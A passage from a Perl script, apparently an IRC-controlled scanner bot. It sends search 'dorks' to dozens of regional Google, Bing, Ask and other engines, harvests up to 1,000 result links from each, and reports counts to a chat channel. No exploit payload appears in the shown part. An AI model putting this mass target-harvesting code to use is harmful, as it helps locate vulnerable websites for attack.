  2323.     if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  2324.     if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  2325.     if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  2326.     if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  2327.     if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  2328.     if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  2329.     if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  2330.     if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  2331.     if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  2332.     if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  2333.     if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  2334.     if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  2335.     if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  2336.     if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  2337.     if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  2338.     if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  2339.     if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  2340.     if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  2341.     if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  2342.     if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  2343.     if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  2344.     if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  2345.     if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  2346.     if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  2347.     if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  2348.     if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  2349.     if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  2350.     if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  2351.     if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  2352.     if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  2353.     if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  2354.     if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  2355.     if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  2356.     if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  2357.     if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  2358.     if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  2359.     if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  2360.     if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  2361.     if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  2362.     if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  2363.     if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
  2364.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  2365.     if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  2366.     if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  2367.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  2368.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  2369.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  2370.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  2371.     if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  2372.     if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  2373.     @clean = &clean(@total);
  2374.     if ($silentmode == 0) {
  2375.     &msg("$chan","$logo(7@2$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")"); }
  2376.     return @clean;
  2377. }
  2378. ##################################################################################
  2379. sub isFound() {
  2380.     my $status = 0;
  2381.     my $link = $_[0];
  2382.     my $reqexp = $_[1];
  2383.     my $res = &get_content($link);
  2384.     if ($res =~ /$reqexp/) { $status = 1 }
  2385.     return $status;
  2386. }
  2387.  
  2388. sub get_content() {
  2389.     my $url = $_[0];
  2390.     my $ua = LWP::UserAgent->new(agent => $uagent);
  2391.     $ua->timeout($timot);
  2392.     my $req = HTTP::Request->new(GET => $url);
  2393.     my $res = $ua->request($req);
  2394.     return $res->content;
  2395. }
  2396. ######################################### SEARCH ENGINE
  2397.  
  2398. sub jack() {
  2399.     my @list;
  2400.     my $key = $_[0];
  2401.     my $jackx = $_[1];
  2402.     for (my $i=0; $i<=1000; $i+=100){
  2403.         my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
  2404.         my $res = &search_engine_query($search);
  2405.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2406.             my $link = $1;
  2407.             if ($link !~ /google/){
  2408.                 my @grep = &links($link);
  2409.                 push(@list,@grep);
  2410.             }
  2411.         }
  2412.     }
  2413.     return @list;
  2414. }
  2415.  
  2416. sub google() {
  2417.     my @list;
  2418.     my $key = $_[0];
  2419.     for (my $i=0; $i<=1000; $i+=100){
  2420.         my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  2421.         my $res = &search_engine_query($search);
  2422.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2423.             my $link = $1;
  2424.             if ($link !~ /google/){
  2425.                 my @grep = &links($link);
  2426.                 push(@list,@grep);
  2427.             }
  2428.         }
  2429.     }
  2430.     return @list;
  2431. }
  2432.  
  2433. sub googleCA() {
  2434.     my @list;
  2435.     my $key = $_[0];
  2436.     for (my $i=0; $i<=1000; $i+=100){
  2437.         my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2438.         my $res = &search_engine_query($search);
  2439.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2440.             my $link = $1;
  2441.             if ($link !~ /googleCA/){
  2442.                 my @grep = links($link);
  2443.                 push(@list,@grep);
  2444.             }
  2445.         }
  2446.     }
  2447.     return @list;
  2448. }
  2449.  
  2450. sub googleDE() {
  2451.     my @list;
  2452.     my $key = $_[0];
  2453.     for (my $i=0; $i<=1000; $i+=100){
  2454.         my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2455.         my $res = &search_engine_query($search);
  2456.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2457.             my $link = $1;
  2458.             if ($link !~ /googleDE/){
  2459.                 my @grep = links($link);
  2460.                 push(@list,@grep);
  2461.             }
  2462.         }
  2463.     }
  2464.     return @list;
  2465. }
  2466.  
  2467. sub googleUK() {
  2468.     my @list;
  2469.     my $key = $_[0];
  2470.     for (my $i=0; $i<=1000; $i+=100){
  2471.         my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2472.         my $res = &search_engine_query($search);
  2473.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2474.             my $link = $1;
  2475.             if ($link !~ /googleUK/){
  2476.                 my @grep = links($link);
  2477.                 push(@list,@grep);
  2478.             }
  2479.         }
  2480.     }
  2481.     return @list;
  2482. }
  2483.  
  2484. sub googleFR() {
  2485.     my @list;
  2486.     my $key = $_[0];
  2487.     for (my $i=0; $i<=1000; $i+=100){
  2488.         my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2489.         my $res = &search_engine_query($search);
  2490.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2491.             my $link = $1;
  2492.             if ($link !~ /googleFR/){
  2493.                 my @grep = links($link);
  2494.                 push(@list,@grep);
  2495.             }
  2496.         }
  2497.     }
  2498.     return @list;
  2499. }
  2500.  
  2501. sub googleES() {
  2502.     my @list;
  2503.     my $key = $_[0];
  2504.     for (my $i=0; $i<=1000; $i+=100){
  2505.         my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2506.         my $res = &search_engine_query($search);
  2507.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2508.             my $link = $1;
  2509.             if ($link !~ /googleES/){
  2510.                 my @grep = links($link);
  2511.                 push(@list,@grep);
  2512.             }
  2513.         }
  2514.     }
  2515.     return @list;
  2516. }
  2517.  
  2518. sub googleIT() {
  2519.     my @list;
  2520.     my $key = $_[0];
  2521.     for (my $i=0; $i<=1000; $i+=100){
  2522.         my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2523.         my $res = &search_engine_query($search);
  2524.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2525.             my $link = $1;
  2526.             if ($link !~ /googleIT/){
  2527.                 my @grep = links($link);
  2528.                 push(@list,@grep);
  2529.             }
  2530.         }
  2531.     }
  2532.     return @list;
  2533. }
  2534. sleep(1);
  2535. sub googleNL() {
  2536.     my @list;
  2537.     my $key = $_[0];
  2538.     for (my $i=0; $i<=1000; $i+=100){
  2539.         my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2540.         my $res = &search_engine_query($search);
  2541.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2542.             my $link = $1;
  2543.             if ($link !~ /googleNL/){
  2544.                 my @grep = links($link);
  2545.                 push(@list,@grep);
  2546.             }
  2547.         }
  2548.     }
  2549.     return @list;
  2550. }
  2551.  
  2552. sub googleBE() {
  2553.     my @list;
  2554.     my $key = $_[0];
  2555.     for (my $i=0; $i<=1000; $i+=100){
  2556.         my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2557.         my $res = &search_engine_query($search);
  2558.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2559.             my $link = $1;
  2560.             if ($link !~ /googleBE/){
  2561.                 my @grep = links($link);
  2562.                 push(@list,@grep);
  2563.             }
  2564.         }
  2565.     }
  2566.     return @list;
  2567. }
  2568.  
  2569. sub googleCH() {
  2570.     my @list;
  2571.     my $key = $_[0];
  2572.     for (my $i=0; $i<=1000; $i+=100){
  2573.         my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2574.         my $res = &search_engine_query($search);
  2575.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2576.             my $link = $1;
  2577.             if ($link !~ /googleCH/){
  2578.                 my @grep = links($link);
  2579.                 push(@list,@grep);
  2580.             }
  2581.         }
  2582.     }
  2583.     return @list;
  2584. }
  2585. sleep(1);
  2586. sub googleSE() {
  2587.     my @list;
  2588.     my $key = $_[0];
  2589.     for (my $i=0; $i<=1000; $i+=100){
  2590.         my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2591.         my $res = &search_engine_query($search);
  2592.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2593.             my $link = $1;
  2594.             if ($link !~ /googleSE/){
  2595.                 my @grep = links($link);
  2596.                 push(@list,@grep);
  2597.             }
  2598.         }
  2599.     }
  2600.     return @list;
  2601. }
  2602.  
  2603. sub googleDK() {
  2604.     my @list;
  2605.     my $key = $_[0];
  2606.     for (my $i=0; $i<=1000; $i+=100){
  2607.         my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2608.         my $res = &search_engine_query($search);
  2609.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2610.             my $link = $1;
  2611.             if ($link !~ /googleDK/){
  2612.                 my @grep = links($link);
  2613.                 push(@list,@grep);
  2614.             }
  2615.         }
  2616.     }
  2617.     return @list;
  2618. }
  2619.  
  2620. sub googleNO() {
  2621.     my @list;
  2622.     my $key = $_[0];
  2623.     for (my $i=0; $i<=1000; $i+=100){
  2624.         my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2625.         my $res = &search_engine_query($search);
  2626.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2627.             my $link = $1;
  2628.             if ($link !~ /googleNO/){
  2629.                 my @grep = links($link);
  2630.                 push(@list,@grep);
  2631.             }
  2632.         }
  2633.     }
  2634.     return @list;
  2635. }
  2636. sleep(1);
  2637. sub googleNZ() {
  2638.     my @list;
  2639.     my $key = $_[0];
  2640.     for (my $i=0; $i<=1000; $i+=100){
  2641.         my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2642.         my $res = &search_engine_query($search);
  2643.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2644.             my $link = $1;
  2645.             if ($link !~ /googleNZ/){
  2646.                 my @grep = links($link);
  2647.                 push(@list,@grep);
  2648.             }
  2649.         }
  2650.     }
  2651.     return @list;
  2652. }
  2653.  
  2654. sub googleIE() {
  2655.     my @list;
  2656.     my $key = $_[0];
  2657.     for (my $i=0; $i<=1000; $i+=100){
  2658.         my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2659.         my $res = &search_engine_query($search);
  2660.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2661.             my $link = $1;
  2662.             if ($link !~ /googleIE/){
  2663.                 my @grep = links($link);
  2664.                 push(@list,@grep);
  2665.             }
  2666.         }
  2667.     }
  2668.     return @list;
  2669. }
  2670.  
  2671. sub googleBR() {
  2672.     my @list;
  2673.     my $key = $_[0];
  2674.     for (my $i=0; $i<=1000; $i+=100){
  2675.         my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2676.         my $res = &search_engine_query($search);
  2677.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2678.             my $link = $1;
  2679.             if ($link !~ /google/){
  2680.                 my @grep = links($link);
  2681.                 push(@list,@grep);
  2682.             }
  2683.         }
  2684.     }
  2685.     return @list;
  2686. }
  2687. sleep(2);
  2688. sub googleAR() {
  2689.     my @list;
  2690.     my $key = $_[0];
  2691.     for (my $i=0; $i<=1000; $i+=100){
  2692.         my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2693.         my $res = &search_engine_query($search);
  2694.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2695.             my $link = $1;
  2696.             if ($link !~ /googleAR/){
  2697.                 my @grep = links($link);
  2698.                 push(@list,@grep);
  2699.             }
  2700.         }
  2701.     }
  2702.     return @list;
  2703. }
  2704.  
  2705. sub googleCO() {
  2706.     my @list;
  2707.     my $key = $_[0];
  2708.     for (my $i=0; $i<=1000; $i+=100){
  2709.         my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2710.         my $res = &search_engine_query($search);
  2711.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2712.             my $link = $1;
  2713.             if ($link !~ /googleCO/){
  2714.                 my @grep = links($link);
  2715.                 push(@list,@grep);
  2716.             }
  2717.         }
  2718.     }
  2719.     return @list;
  2720. }
  2721.  
  2722. sub googleCU() {
  2723.     my @list;
  2724.     my $key = $_[0];
  2725.     for (my $i=0; $i<=1000; $i+=100){
  2726.         my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2727.         my $res = &search_engine_query($search);
  2728.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2729.             my $link = $1;
  2730.             if ($link !~ /googleCU/){
  2731.                 my @grep = links($link);
  2732.                 push(@list,@grep);
  2733.             }
  2734.         }
  2735.     }
  2736.     return @list;
  2737. }
  2738. sleep(2);
  2739. sub googleCL() {
  2740.     my @list;
  2741.     my $key = $_[0];
  2742.     for (my $i=0; $i<=1000; $i+=100){
  2743.         my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2744.         my $res = &search_engine_query($search);
  2745.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2746.             my $link = $1;
  2747.             if ($link !~ /googleCL/){
  2748.                 my @grep = links($link);
  2749.                 push(@list,@grep);
  2750.             }
  2751.         }
  2752.     }
  2753.     return @list;
  2754. }
  2755.  
  2756. sub googleMX() {
  2757.     my @list;
  2758.     my $key = $_[0];
  2759.     for (my $i=0; $i<=1000; $i+=100){
  2760.         my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2761.         my $res = &search_engine_query($search);
  2762.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2763.             my $link = $1;
  2764.             if ($link !~ /googleMX/){
  2765.                 my @grep = links($link);
  2766.                 push(@list,@grep);
  2767.             }
  2768.         }
  2769.     }
  2770.     return @list;
  2771. }
  2772.  
  2773. sub googleAU() {
  2774.     my @list;
  2775.     my $key = $_[0];
  2776.     for (my $i=0; $i<=1000; $i+=100){
  2777.         my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2778.         my $res = &search_engine_query($search);
  2779.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2780.             my $link = $1;
  2781.             if ($link !~ /googleAU/){
  2782.                 my @grep = links($link);
  2783.                 push(@list,@grep);
  2784.             }
  2785.         }
  2786.     }
  2787.     return @list;
  2788. }
  2789. sleep(2);
  2790. sub googleRU() {
  2791.     my @list;
  2792.     my $key = $_[0];
  2793.     for (my $i=0; $i<=1000; $i+=100){
  2794.         my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2795.         my $res = &search_engine_query($search);
  2796.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2797.             my $link = $1;
  2798.             if ($link !~ /googleRU/){
  2799.                 my @grep = links($link);
  2800.                 push(@list,@grep);
  2801.             }
  2802.         }
  2803.     }
  2804.     return @list;
  2805. }
  2806.  
  2807. sub googleAT() {
  2808.     my @list;
  2809.     my $key = $_[0];
  2810.     for (my $i=0; $i<=1000; $i+=100){
  2811.         my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2812.         my $res = &search_engine_query($search);
  2813.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2814.             my $link = $1;
  2815.             if ($link !~ /googleAT/){
  2816.                 my @grep = links($link);
  2817.                 push(@list,@grep);
  2818.             }
  2819.         }
  2820.     }
  2821.     return @list;
  2822. }
  2823.  
  2824. sub googlePL() {
  2825.     my @list;
  2826.     my $key = $_[0];
  2827.     for (my $i=0; $i<=1000; $i+=100){
  2828.         my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2829.         my $res = &search_engine_query($search);
  2830.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2831.             my $link = $1;
  2832.             if ($link !~ /googlePL/){
  2833.                 my @grep = links($link);
  2834.                 push(@list,@grep);
  2835.             }
  2836.         }
  2837.     }
  2838.     return @list;
  2839. }
  2840. sleep(3);
  2841. sub googleIL() {
  2842.     my @list;
  2843.     my $key = $_[0];
  2844.     for (my $i=0; $i<=1000; $i+=100){
  2845.         my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2846.         my $res = &search_engine_query($search);
  2847.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2848.             my $link = $1;
  2849.             if ($link !~ /googleIL/){
  2850.                 my @grep = links($link);
  2851.                 push(@list,@grep);
  2852.             }
  2853.         }
  2854.     }
  2855.     return @list;
  2856. }
  2857.  
  2858. sub googleTR() {
  2859.     my @list;
  2860.     my $key = $_[0];
  2861.     for (my $i=0; $i<=1000; $i+=100){
  2862.         my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2863.         my $res = &search_engine_query($search);
  2864.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2865.             my $link = $1;
  2866.             if ($link !~ /googleTR/){
  2867.                 my @grep = links($link);
  2868.                 push(@list,@grep);
  2869.             }
  2870.         }
  2871.     }
  2872.     return @list;
  2873. }
  2874.  
  2875. sub googleUA() {
  2876.     my @list;
  2877.     my $key = $_[0];
  2878.     for (my $i=0; $i<=1000; $i+=100){
  2879.         my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2880.         my $res = &search_engine_query($search);
  2881.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2882.             my $link = $1;
  2883.             if ($link !~ /googleUA/){
  2884.                 my @grep = links($link);
  2885.                 push(@list,@grep);
  2886.             }
  2887.         }
  2888.     }
  2889.     return @list;
  2890. }
  2891. sleep(3);
  2892. sub googleGR() {
  2893.     my @list;
  2894.     my $key = $_[0];
  2895.     for (my $i=0; $i<=1000; $i+=100){
  2896.         my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2897.         my $res = &search_engine_query($search);
  2898.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2899.             my $link = $1;
  2900.             if ($link !~ /googleGR/){
  2901.                 my @grep = links($link);
  2902.                 push(@list,@grep);
  2903.             }
  2904.         }
  2905.     }
  2906.     return @list;
  2907. }
  2908.  
  2909. sub googleJP() {
  2910.     my @list;
  2911.     my $key = $_[0];
  2912.     for (my $i=0; $i<=1000; $i+=100){
  2913.         my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2914.         my $res = &search_engine_query($search);
  2915.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2916.             my $link = $1;
  2917.             if ($link !~ /googleJP/){
  2918.                 my @grep = links($link);
  2919.                 push(@list,@grep);
  2920.             }
  2921.         }
  2922.     }
  2923.     return @list;
  2924. }
  2925.  
  2926. sub googleCN() {
  2927.     my @list;
  2928.     my $key = $_[0];
  2929.     for (my $i=0; $i<=1000; $i+=100){
  2930.         my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2931.         my $res = &search_engine_query($search);
  2932.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2933.             my $link = $1;
  2934.             if ($link !~ /googleCN/){
  2935.                 my @grep = links($link);
  2936.                 push(@list,@grep);
  2937.             }
  2938.         }
  2939.     }
  2940.     return @list;
  2941. }
  2942. sleep(3);
  2943. sub googleMY() {
  2944.     my @list;
  2945.     my $key = $_[0];
  2946.     for (my $i=0; $i<=1000; $i+=100){
  2947.         my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2948.         my $res = &search_engine_query($search);
  2949.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2950.             my $link = $1;
  2951.             if ($link !~ /googleMY/){
  2952.                 my @grep = links($link);
  2953.                 push(@list,@grep);
  2954.             }
  2955.         }
  2956.     }
  2957.     return @list;
  2958. }
  2959.  
  2960. sub googleTH() {
  2961.     my @list;
  2962.     my $key = $_[0];
  2963.     for (my $i=0; $i<=1000; $i+=100){
  2964.         my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2965.         my $res = &search_engine_query($search);
  2966.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2967.             my $link = $1;
  2968.             if ($link !~ /googleTH/){
  2969.                 my @grep = links($link);
  2970.                 push(@list,@grep);
  2971.             }
  2972.         }
  2973.     }
  2974.     return @list;
  2975. }
  2976.  
  2977. sub googleIN() {
  2978.     my @list;
  2979.     my $key = $_[0];
  2980.     for (my $i=0; $i<=1000; $i+=100){
  2981.         my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2982.         my $res = &search_engine_query($search);
  2983.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2984.             my $link = $1;
  2985.             if ($link !~ /googleIN/){
  2986.                 my @grep = links($link);
  2987.                 push(@list,@grep);
  2988.             }
  2989.         }
  2990.     }
  2991.     return @list;
  2992. }
  2993. sleep(3);
  2994. sub googleKR() {
  2995.     my @list;
  2996.     my $key = $_[0];
  2997.     for (my $i=0; $i<=1000; $i+=100){
  2998.         my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2999.         my $res = &search_engine_query($search);
  3000.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3001.             my $link = $1;
  3002.             if ($link !~ /googleKR/){
  3003.                 my @grep = links($link);
  3004.                 push(@list,@grep);
  3005.             }
  3006.         }
  3007.     }
  3008.     return @list;
  3009. }
  3010.  
  3011. sub googleRO() {
  3012.     my @list;
  3013.     my $key = $_[0];
  3014.     for (my $i=0; $i<=1000; $i+=100){
  3015.         my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3016.         my $res = &search_engine_query($search);
  3017.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3018.             my $link = $1;
  3019.             if ($link !~ /googleRO/){
  3020.                 my @grep = links($link);
  3021.                 push(@list,@grep);
  3022.             }
  3023.         }
  3024.     }
  3025.     return @list;
  3026. }
  3027.  
  3028. sub googleTW() {
  3029.     my @list;
  3030.     my $key = $_[0];
  3031.     for (my $i=0; $i<=1000; $i+=100){
  3032.         my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3033.         my $res = &search_engine_query($search);
  3034.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3035.             my $link = $1;
  3036.             if ($link !~ /googleTW/){
  3037.                 my @grep = links($link);
  3038.                 push(@list,@grep);
  3039.             }
  3040.         }
  3041.     }
  3042.     return @list;
  3043. }
  3044. sleep(3);
  3045. sub googleZA() {
  3046.     my @list;
  3047.     my $key = $_[0];
  3048.     for (my $i=0; $i<=1000; $i+=100){
  3049.         my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3050.         my $res = &search_engine_query($search);
  3051.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3052.             my $link = $1;
  3053.             if ($link !~ /googleZA/){
  3054.                 my @grep = links($link);
  3055.                 push(@list,@grep);
  3056.             }
  3057.         }
  3058.     }
  3059.     return @list;
  3060. }
  3061.  
  3062. sub googlePT() {
  3063.     my @list;
